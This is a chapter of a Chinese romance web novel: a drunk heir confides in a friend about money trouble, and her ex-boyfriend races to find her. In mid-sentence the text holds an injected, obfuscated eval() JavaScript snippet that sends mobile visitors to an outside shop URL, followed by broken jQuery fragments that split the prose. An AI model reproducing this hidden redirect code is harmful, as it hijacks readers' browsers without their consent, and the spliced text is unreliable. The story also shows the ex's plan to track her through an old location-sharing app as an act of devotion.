看到苏稔禾吃惊的脸,林宴苦笑一声,向调酒师示意再来上几杯。
待新酒上来,他又仰头灌了一整盅,如同喝酒一般。
酒意上头,眼睛已经有些迷蒙,眼眶微微发红,整个人看起来颓丧又无助。
苏稔禾也不着急,随意地坐在他身边的位置,等他鼓起勇气主动开口。
“我把名下的房子租出去了。”
有时候酒精并不只壮怂人胆,还能让满腹忧思的人生出倾诉的勇气。
已经有了心理准备,苏稔禾听到这句话并不意外。
“和叔叔阿姨斗气了?”
未曾听到父母提起林氏集团,想必林家的公司没出什么大问题。
那就只能是富二代的常见经历——被停卡了。
苏稔禾能猜到,林宴完全不意外。
毕竟苏稔禾是江浙沪富二代圈子里,为数不多没被停过信用卡的特殊存在。
谁年轻的时候不被停几次卡呢?
只是这次被停到大动脉了。
想到这里,他更加忧愁,手掌搭在脑袋上,肌肉记忆让他想疯狂蹂躏自己已经有些长的头发。
刚想有所动作,想起苏稔禾就坐在身边,紧急刹车,抹了把脸,然后默默缩回手。
他自己也想不清楚,明明只是借酒消愁,为什么鬼使神差地拨通了苏稔禾的电话。
可能是处于非常脆弱的时候,所以格外需要她。
只是苏稔禾真的来了,他一肚子的话又不知从何说起。
“我爸…逼我回去接班。”
烈酒度数高,他又喝得急,此时酒精的后劲儿已经涌上大脑,让他思绪有些混乱。
“他停了我的卡,店里现金流断了…”
“我把房子租出去回血…”
“但是不够用…”
苏稔禾从他断断续续的讲述中明白了事情的经过。
林父拿停卡逼他回去接班,林宴不愿意。
林宴开日料店是出于热爱,店铺正处于塑造口碑的时期,食材都是空运来最顶尖的,单日现金流就是一笔不小的数字。
餐馆正处淡季,客流不稳定,房租又高,盈利难以支撑采购需求。
他不愿意屈服,干脆将名下房产租出去回血,自己搬到了一间单身公寓。
只是他心里明白,店铺口碑还没立起来,这样做不知道能奏效多久,也不知道房租收入能撑几天。
林宴从小锦衣玉食,留学之前家里就买好了学校旁边的住所,还专门找了熟悉的阿姨照顾他的起居。
由奢入俭难,突然搬入小公寓,实在难以适应。
生活质量直线下降,为爱发电的事业前路迷茫,平日里再温和的人,也很难忍住不用酒精蒙蔽大脑。
苏稔禾物欲不强,又早早在热爱的道路实现了经济自由,即使能和林宴共情,也清楚这件事根本无解。
能像苏父苏母那样开明的毕竟是少数。
“我先借你?”她试探性地问道。
“那怎么行。”听到这话,林宴清醒了一点,勉强坐直身体,神情认真。
本来摇苏稔禾过来就需要酒精壮胆了,要是再问她借钱,他成什么人了?
搞得像他叫苏稔禾过来是为了借钱一样。
哪来的脸?
苏稔禾觉得有些莫名其妙:“你这么见外干嘛?都是朋友呀。”
这句话说得林宴心中更加苦涩
她不知道说什么好,只能默默地坐在林宴身边,叫来一杯柠檬水陪着他喝酒。
夜色渐浓,酒吧里聚在一起团建的喧闹声渐渐消失,只剩下零星几个独自坐着喝酒的人。
有的撑着脑袋一小口一小口抿下特调,有的不要命地往嗓子眼里灌下烈酒,譬如林宴。
他本就皮肤白皙,也并不擅长喝酒,平时最多佐餐品上几口低度数的清酒或葡萄酒,今天一口气喝了这么多酒,醉得很快,皮肤从白皙变得通红,最后又归于惨白。
清吧里灯光很暗,光源却并不少。头顶橙黄色的灯光投射在林宴的脸上,居然无法给他的脸带来一丝亮色。
见他已经烂醉如泥,借酒浇愁的目的达到了,再喝伤身体,苏稔禾无视他含糊的反对,直接努力撬开他的嘴问出地址,拖着他烂醉如泥的身体上了出租车。
酒劲彻底上头,林宴几乎失去神志,虽然人模人样地自己坐着,脑袋却一点一点往下坠,苏稔禾要时刻关注他,才能在他往地上栽的前一秒将他扒拉回去。
林宴的酒品说不上是好还是不好,虽然身体还算听话,嘴巴却嘟囔个不停。
一会儿说他的鱼新鲜得不得了,一会儿说他是天下第一苦13的富二代,一会儿又嚷嚷着要做纨绔子弟把他家的钱败光…
简直没眼看。
嚷嚷了一会儿,他又突然安静下来,正襟危坐,脸色潮红,眼神深情又专注,紧盯着苏稔禾。
“我有事情要告诉你。”他一脸认真。
“什么?”苏稔禾对他的反应感到奇怪。
她甚至分不清林宴是不是在说梦话。
及时已经醉得分不清东西南北,要开口时,林宴还是深吸了一口气。
“我真的…很…x…”
话只说了一半,他便直挺挺地向前栽去,脸和驾驶座来了个结结实实的亲密接触。
然后——睡着了。
苏稔禾:…
她刚才居然还打算认真听。
她叹了口气,用力摇晃林宴:“醒醒~到地方啦…”
苏城CBD的一栋大楼里,陆时安托住脖颈,勉强活动了几下僵硬的脖子,第N次将手伸向手机。
他是一个做事很专注的人,在很多人的专注力都被打破的当下,他做事始终一丝不苟,只要开始办公,绝对不会被别的事情吸引注意力。
今天却一直心神不宁。
苏稔禾答应他到家了会发消息,到现在都杳无音讯。
不会遇到危险了吧?
还是和林宴聊天忘了时间?
这两个都不是他想看到的。
他越想越焦躁,一串串代码在眼前飘过,却进不去脑子。
效率从未这么低下。
偏偏此时办公室的门被敲响,一个脑袋鬼鬼祟祟地探进来,是顾知安。
他看上去有些困,苦兮兮地看向陆时安:“陆总,咱们什么时候下班呀,栈宁已经24小时没合眼了。”
陆时安缓缓闭上了眼睛。
更烦了。
起码你还在你栈宁身边,他呢?
他刚想回复什么,洛栈宁闻讯而来,一把揪住顾知安的领子,将他推了出去,顺便暴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948635|210294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
躁地关上门,将他隔离在玻璃门外。
陆时安的心情突然就变好了。
洛栈宁是来和陆时安商讨进度的。
她人冷话不多,主要是来和陆时安商讨进度的。
两人的合作非常和谐,都是高效的技术人才,交流起来完全没有壁垒,工作节奏也相似。
她习以为常地走近陆时安的电脑屏幕,准备和他讨论,却见陆时安电脑上显示的进度和她上次进来时几乎没有差别。
“你被甩了?”她一脸惊讶。
如果不是什么毁灭性打击,都不足以造就这么低的效率。
这两口子是懂怎么打击人的。
陆时安的脸黑如锅底。
他倒是想被甩,起码证明在一起了。
洛栈宁理科思维,但并不意味着她没有情商,看到陆时安的表情就知道是怎么回事儿了。
她一脸同情:“要不你先走吧,剩下的我来收尾。”
助力合伙人的每一个梦想。
她这话说在了陆时安的心坎上。
他像是怕洛栈宁后悔,直接丝滑起身,顺手捞起外套,只拿了手机就飘到门口。
“谢了。”
洛栈宁懒得理会他,懒洋洋地冲背后比了个“OK”的手势。
她晃晃悠悠地踱出陆时安办公室,顾知安正端着一杯热乎乎的咖啡靠在门口等待。
见她出来,立马洋溢出笑脸,举起手中的咖啡杯:“困了吧,喝杯咖啡提提神,我刚手磨的。”
洛栈宁因为被迫延长加班而变糟的心情突然就变好了。
但包袱不能丢。
于是她接过咖啡,看似高冷地走回了工位,步伐却比来时更加轻快。
顾知安像个狗腿子一样屁颠屁颠地跟在她身后。
办公区,加班的同事先是目瞪口呆地看着工作狂老板第一次翘班,又目瞪口呆地看向洛栈宁和她的尾巴。
他们公司要完蛋了吗?
第一次在加班过程中翘班的陆时安并不清楚同事的腹诽,他已经飞速奔到楼下,手机屏幕上显示着拨号页面。
发动车子的同时,手机里传来礼貌的女声:“对不起,您拨打的电话正在通话中,请稍后再拨…”
他心中越发焦急,发动车子,在凌晨人迹罕至的街道上飞驰。
只用了平时一半的时间就到了酒吧,进去就被告知两人已经离开,其中一个人还喝得烂醉。
他心慌不已,疯狂拨打苏稔禾的电话,始终无人接通。
在他差点要报警时,突然想起分手前他做过一个小程序,绑定微信可以实时查看两人的位置,而旧的手机和手机卡在家中。
他没有犹豫,疯狂调转车头,再次飞奔向公寓的方向。
屋漏偏逢连夜雨,在他连车都顾不上锁,飞奔到电梯口时,偏偏显示电梯被占用。
他深吸一口气,摸了把脸,直接走向楼梯。
他的皮鞋落在大理石地板上,发出清脆又急促的声响。
爬楼速度太快,肺都要炸了,偏偏他不肯降低速度,喉咙里都有了血腥味。
好不容易爬到自己住的楼层,他一把推开消防门,大步迈出,却敏锐地听到楼道里有人声。
来不及多想,他走向楼道。
猝不及防地,和苏稔禾对视。